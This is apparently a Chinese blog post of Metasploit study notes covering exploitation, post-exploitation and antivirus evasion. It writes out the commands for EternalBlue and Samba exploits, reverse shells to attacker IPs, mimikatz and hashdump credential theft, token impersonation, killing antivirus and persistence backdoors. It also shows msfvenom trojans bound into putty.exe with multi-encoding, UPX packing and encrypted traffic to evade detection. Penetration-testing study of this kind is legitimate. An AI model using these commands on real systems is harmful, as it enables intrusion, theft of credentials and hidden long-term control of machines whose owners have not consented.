MSF学习-爱代码爱编程
目录
Metasploit模块
1、Exploit :渗透测试攻击:缓冲区溢出、Web应用程序漏洞攻击、系统配置错误
2、Payload :攻击载荷;
3、Shellcode :指令: Meterpreter Shell
4、Module :模块;
( 1 ) Payload Module ,渗透测试攻击模块;
辅助模块: auxiliary module ,简称: AUX
(2)NOPModule;
( 3 ) Encoding Module ,编码器模块;
( 4 ) POST Module ,后渗透攻击模块
使用MSF渗透测试时,大致步骤
- 扫描目标系统,寻找可以利用的漏洞
- 选择并配置一个漏洞利用模块
- 选择并配置一个攻击载荷模块
- 选择一个编码技术,用来绕过杀毒软件的查杀
- 渗透攻击
MSF使用
1.kali下使用
msfdb
msfdb init
msfconsle
db_status
2.其他linux
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
addusermsf
su msf
cd /opt/metasploit-framework/bin/
./msfconsole
主机扫描
查找扫描模块
search portscan
使用扫描模块
use auxiliary/scanner/portscan/tcp
辅助模块还有其他扫描模块,如Mysql,VNC,FTP,SMB
使用nmap扫描
nmap 192.168.0.104 -sV -p 1-1000 -T4
搜索和使用samba的漏洞利用模块
search samba
use exploit/multi/samba/usermap_script
show PAYLOADS
set PAYLOAD cmd/unix/reverse
set RHOSTS 192.168.0.104
set RPORT 445
set LHOST 192.168.0.109
show options
exploit
后渗透攻击:信息收集
使用ms17-010对win7进行渗透
nmap 192.168.0.106 -p-
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show payloads
set payload windows/x64/meterpreter/reverse_tcp
设置参数
exploit
进程迁移
getpid
ps
migrate 4312
kill 1128
run post/windows/manage/migrate #自动进程迁移
查看系统信息
sysinfo
run post/windows/gather/checkvm
idletime
route
getuid
run post/windows/manage/killavrun post/windows/manage/killav
run post/windows/manage/enable_rdp
run post/windows/manage/autoroute
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_applications
run post/windows/gather/credentials/windows_autologin run post/windows/gather/credentials/windows_autologin
截图
load espia
screengrab
scrrenshot
webcam_list
webcam_snap
shell
文件系统命令
pwd
getlwd
ls
pwd
cdd
search -f *.txt -d c:\\
download c:\\test.txt /home/kali
upload /home/kali/shell.php c:\\user\\
权限提升
利用WMIC实现MS16-032本地溢出漏洞
meterpreter > getuid
Server username: q-PC\Administrator
meterpreter > getsystem #提权失败
shell
getuid
systeminfo 乱码使用chcp 65001解决
Wmic qfe get Caption,Description,HotFixID,InstalledOn #查看系统补丁
将meterpreter转换为后台执行
background
sessions
search ms16_032
use exploit/windows/local/ms16_032_secondary_logon_handle_privescuse exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session1
run
令牌窃取
use incognito
list_tokens -u
impersonate_token q-PC\\Administrator
shell
hash攻击
hashdump
run windows/gather/smart_hashdump
或者上传pwdump,wce工具获取hash
upload /usr/share/windows-resources/wce/wce64.exe c:\\seay
shell
wce64.exe
使用mimikatz抓取密码
load mimikatz #MSF中的mimikatz模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用
help mimikatz
mimikatz_command -f a:: #查看完整模块列表
mimikatz_command -f hash:: 查看Hash
msv #抓取系统hash
kerberos 获取系统票据
wdigest #获取系统账户信息
mimikatz_command -f samdump::hashes 获取hash
mimikatz_command -f handle::list
mimikatz_command -f service::list/start/stop/remove
mimikatz_command -f crypto:: 证书模块
后渗透攻击:后门
1.Cymothoa后门
cymothoa -p 999 -s 1 -y 444 #p为pid,-s shellcode类型,-y端口
nc -nvv xxx 444
2.Persistence后门
run persistence -h
run persistence -A -S -U -i 60 -p 4321 -r 192.168.0.106 #A自启payload,S系统启动加载,U用户登录启动,X开机启动,i回连时间间隔,P监听反向连接端口,r目标地址
3.web后门
3.1Meterpreter后门
- 使用msfvenom创建webshell.php
- 上传webshell到服务器
- 运行metasploit multi-handler开始监听
- 访问webshell页面
- 获取反弹的Metasploit shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.109 -f raw >shell.php #f文件格式
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.109
run
3.2Aspx Meterpreter后门
#生成后门
show payloads
use windows/shell_reverse_tcp
info
set lhost 192.168.0.109
set lport 8888
save
generate -f aspx
#msf监听
use exploit/multi/handler
set payload windows/shell_reverse_tcp
set Lhost 192.168.0.109
set lport 8888
run
打开后门的链接
MSF免杀技术
使用msfvenom生成shellcode :
MSF旧版框架中msfpayload与msfencode配合使用生成shellcode ,已在2015.6.8合并成msfvenom ,新版的MSF 包含该工具,集成了流行的shellcode ,不断更新,使得缓冲区溢出测试变的方便和简单。免杀的方式:修改特征码;修改程序入口点;花指令;加壳等
Meatsploit框架中 ,免杀的方式之一是使用MSF编码器
(1) msfencoder可以对攻击payload文件进行重新的排列和编码;
(2)改变可执行文件中的代码形状,避免被杀软认出;
(3)程序功能不会受到影响;
(4)程序文件运行后,编码器将原始程序解码到内存执行
msfvenom -l encoders//查看 多平台可用的编码方式
x86/shikata_ga_nai , x86平台,唯一个excellent编码器;
MSF使用多重编码技术来改善shellcode的免杀能力,对payload多重编码,绕过杀毒软件的特征码检查;shikata_ga_nai,采用多态编码技术
2.木马生成,捆绑和免杀技术
msfvenom --list payloads | awk /meterpreter/ | awk '/windows/' | awk '/reverse_tcp/' windows/meterpreter/reverse_tcp
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -a x86 lhost= 192.168.9.107 lport=4444 -x putty.exe -i 5 -f exe -o /root/backdoor/putty_portal.exe
-p windows/meterpreter/reverse_tcp,指定payloads ;
-e x86/shikata_ga_nai , 选择编码器;
-a x86选择平台;
lhost和lport,本地监听回连地址和端口;
-x putty.exe,将木马捆绑在指定的可执行程序模版上;
-i 5 ,编码5次,多次编码理论上来讲有助于免杀;
-f exe ,指定MSF编码器输出格式为exe ;
-o /root/backdor/putty_ portal.exe ,指定处理完毕后的文件输出路径。
3.生成shellcode免杀
( 1 )手动编译meterpreter ,对shellcode进行编码,-般能绕过静态查杀;
( 2 ) meterpreter直接加载进内存并且有编码,绕过动态查杀基本没问题。
( 3 ) msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga nai -i 5 -b "\x00" lhost= 192.168.9.107 lport=4444 -fc
4.对shellcode传输的数据流进行加密:
避免当meterpreter回连成功,与MSF交互数据时候,被杀毒软件查杀。需要对传输数据流加密:
(1) metasploit设置 :
set EnableStageEncoding true
set stageencoder x86/fnstenv_mov
set stageencodingfallback false
save
将控制端向被控制端发送的stage进行编码;
(2)使用payload :
windows/meterpreter/reverse_https
windows/meterpreter/reverse_tcp_rc4
e.g.
msfvenom -p windows, /meterpreter/reverse_ https lhost= 192.168.9.107 lport=443 -fc
msfvenom -p windows/meterpreter/reverse_ _tcp_ rc4 lhost= 192.168.9.107 lport=4444RC4PASSWORD=Gooann -fc
利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密码,躲避查杀数据流。
5.msfvenom命令使用
(1)-p ( -payload-options ) ,添加载荷payload ;
(2)-l payloads/encoder/pops ,查看所有payload encoder nops ;
(3)-f,输出文件格式;
Executable formats:
asp, aspx, aspx-exe, axis2, dl1, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh,jar, loop-vbs, macho, msi, msi-nouac, osX-app, psh, psh-net, psh-reflection,psh-cmd, vba,vba-exe, vba-psh, vbs, war
Trans form formats:
bash, C, csharp, dw, dword, hex, java, js_ be, js_ le, num, perl, pl, powershell, ps1, py,python, raw, rb, ruby, sh, vbapplication, vbscript
(4)-e,编码免杀;
(5)-a|--platform ,选择架构平台, x86 | x64 |x86I64 ;
(6)-o ,输出文件的路径;
(7)-s ,生成payload的最大长度,就是文件大小;
(8)-b,避免使用的字符, e.g. :不使用\0f'、 \x00' (字符串遇到它会截断) ;
指定需要规避的字符列表,针对不同的函数需要规避不同的字符。
(9)-i,编码次数;
(10)-c ,添加自定义的shellcode ;
(11)-x,捆绑,程序注入。e.g. :原先有个正常文putty.exe ,可通过该选项,将后门捆绑到这个程序上,执行后即可触发shellcode ;
(12)-k,可以保留模板的正常行为,并将注入的有效负载作为单独的线程运行。攻击载荷会在一个独立的进程中启动而源宿主程序的运行不受影响。
6.各个平台系统里的Payload
(1)Windows:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.102 LPORT=8888 -f exe > a.exe
( 2 ) Android payload :
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.103 LPORT=4444 R > androvirus.apk
(3)Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=4444 -felf > shell.elf
(4)MacOS:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.1.102 LPORT= -2222 -f macho > hell. macho
(5) PHP Web Payloads :php/meterpreter_reverse_ tcp
(6) ASP : windows/meterpreter/reverse_tcp
(7) JSP : java/jsp_shell_reverse_tcp
(8) WAR : java/jsp_shell_reverse_tcp
(9) Python : cmd/unix/reverse_python
(10) Bash : cmd/unix/reverse_bash
(11) Perl : cmd/unix/reverse_perl
7.加壳
(1)加壳能对可执行文件进行加密压缩,将解压代码嵌入其中。加壳的文件,被
执行后,解压代码从已压缩的数据中重建原始程序并运行。
(2)过程对用户透明,使用不同加密算法;
(3)加壳后,体积压缩,可执行文件更小,结构改变,功能不变;
(4)加壳后,壳也有特征,容易被识别;
(5)可基于开源的压缩壳改一些源码;
(6) upx -5 putty_portal.exe
-5 ,对可执行文件压缩并加壳。
(7)总得来说,加壳的方式来免杀还是比较实用的,特别是对于不开源的PE文件,
通过加壳可以绕过很多特征码识别。
8.设置Metasploit控制客户机
设置监听攻击模块”,监听载荷, IP,端口,然后exploit ,等待被攻击机器的木马运行:
use exploit/multi/handler
set payload windows/meterpreter/reverse_ _tcp
set lhost 192.168.1.107
set lport 4444
exploit
9.Meterpreter流量检测和免杀
(1) metasploit的木马分为两个大类rstaged和stageless ;
(2) staged类型木马的运行流程:
客户端在从服务器端接收stager后, stager由引|导代码loader和payload组成,客户端
在内存中分配一段地址将payload暂 存起来,再通过loader来加载内存中的payload。
这种内存中注入PE文件的方式称为反射型DLL注入。
(3) stageless木马是将完整的payload都编译在木马中,相对与staged的木马来说,
前者体积庞大不灵活,而且容易被杀。
(4) Meterpreter流量有特征,可以在MSF加密:
set EnableStageEncoding true
set StageEncoder x86/fnstenv_mov
也可以通过偏执模式( paranoid-mode ) ,用证书对流量进行加密。
10.meterpreter常驻的免杀
(1) meterpreter常驻的方法: persistence和metsvc。 不过,特征已被广大杀毒软件关注, 100%会查杀;
(2)绕过杀软,添加自启动方法:
exploit/windows/local/registry_ persistence
同类型: exploit/windows/local/vss_ persistence , exploit/windows/local/s4u_ persistence
(3)利用powershell :
powershell因为其特性,被很多杀毒软件直接忽视,因此用这个方法经常能达到出其不意的效果;
msfvenom -p windows/x64/meterpreter/reverse tcp lhost= 192.168.1.107 lport=4444 -f psh-reflection -o Gooann.psl
可以通过自编写Powershel1脚本,加载psl
e.g.Add-Persistence -FilePath .lGooann.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/qq_34640691/article/details/110562260